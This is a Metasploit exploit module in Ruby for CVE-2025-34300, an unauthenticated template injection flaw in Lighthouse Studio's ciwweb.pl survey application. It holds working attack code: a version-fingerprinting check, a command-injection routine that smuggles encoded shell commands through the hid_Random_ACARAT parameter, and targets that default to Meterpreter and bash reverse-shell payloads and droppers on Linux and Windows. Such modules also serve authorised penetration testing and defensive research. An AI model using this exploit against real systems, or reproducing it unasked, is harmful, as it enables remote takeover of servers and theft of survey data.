1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174
|
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {}) super( update_info( info, 'Name' => "Template Injection Vulnerability in Sawtooth Software's Lighthouse Studio (CVE-2025-34300)", 'Description' => %q{ This module exploits a template injection vulnerability in the Sawtooth Software Lighthouse Studio's `ciwweb.pl` web application. The application fails to properly sanitize user input within survey templates, allowing unauthenticated attackers to inject and execute arbitrary Perl commands on the target system.
This vulnerability affects Lighthouse Studio versions prior to 9.16.14. Successful exploitation may result in remote code execution under the privileges of the web server, potentially exposing sensitive data or disrupting survey operations.
An attacker can execute arbitrary system commands as the web server. }, 'License' => MSF_LICENSE, 'Author' => [ 'Maksim Rogov', 'Adam Kues' ], 'References' => [ ['CVE', '2025-34300'], ['URL', 'https://slcyber.io/assetnote-security-research-center/rce-in-the-most-popular-survey-software-youve-never-heard-of/'] ], 'Platform' => ['win', 'linux', 'unix'], 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64], 'Targets' => [ [ 'Linux Dropper', { 'Platform' => ['linux'], 'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64], 'Type' => :nix_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Linux Command', { 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Type' => :nix_command, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Windows Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64], 'Type' => :windows_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => [ARCH_CMD], 'Type' => :windows_command, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-07-16', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) )
register_options( [ OptString.new('TARGETURI', [true, 'Path to vulnerable ciwweb.pl', '/cgi-bin/ciwweb.pl']), OptString.new('STUDYNAME', [false, 'Value for the hid_studyname GET parameter', '']) ] ) end
def check print_status('Extracting version...')
vars = { 'hid_javascript' => '1' } vars['hid_studyname'] = datastore['STUDYNAME'] unless datastore['STUDYNAME'].to_s.strip.empty?
res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'vars_get' => vars ) return CheckCode::Unknown('No response from target') unless res
if res.body =~ /Lighthouse Studio (\d+_\d+_\d+)/ version_match = Regexp.last_match(1).to_s print_status("Extracted version: #{version_match.gsub('_', '.')}") version = Rex::Version.new(version_match.gsub('_', ''))
return CheckCode::Appears if version < Rex::Version.new(91614) else print_error("#{peer} - Unable to extract version number") end
html = res.get_html_document if html&.text&.include?('Lighthouse Studio') return CheckCode::Detected end
CheckCode::Safe end
def execute_command(cmd, _opts = {}) cmd = Rex::Text.uri_encode(cmd, 'hex-all')
query = [ 'hid_javascript=1', "hid_Random_ACARAT=[%`#{cmd}`%]", "hid_Random_ACARAT=#{Rex::Text.rand_text_alphanumeric(rand(3..5))}" ]
query << "hid_studyname=#{datastore['STUDYNAME']}" unless datastore['STUDYNAME'].to_s.strip.empty? query_string = query.join('&')
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'query' => query_string })
fail_with(Failure::Unreachable, 'No response from target') unless res
html = res.get_html_document if html&.text&.include?('Sawtooth Error # 129') fail_with(Failure::BadConfig, 'The STUDYNAME value is invalid') end end
def exploit print_status('Uploading malicious payload...')
case target['Type'] when :windows_dropper, :nix_dropper execute_cmdstager when :windows_command, :nix_command execute_command(payload.encoded) end end end
|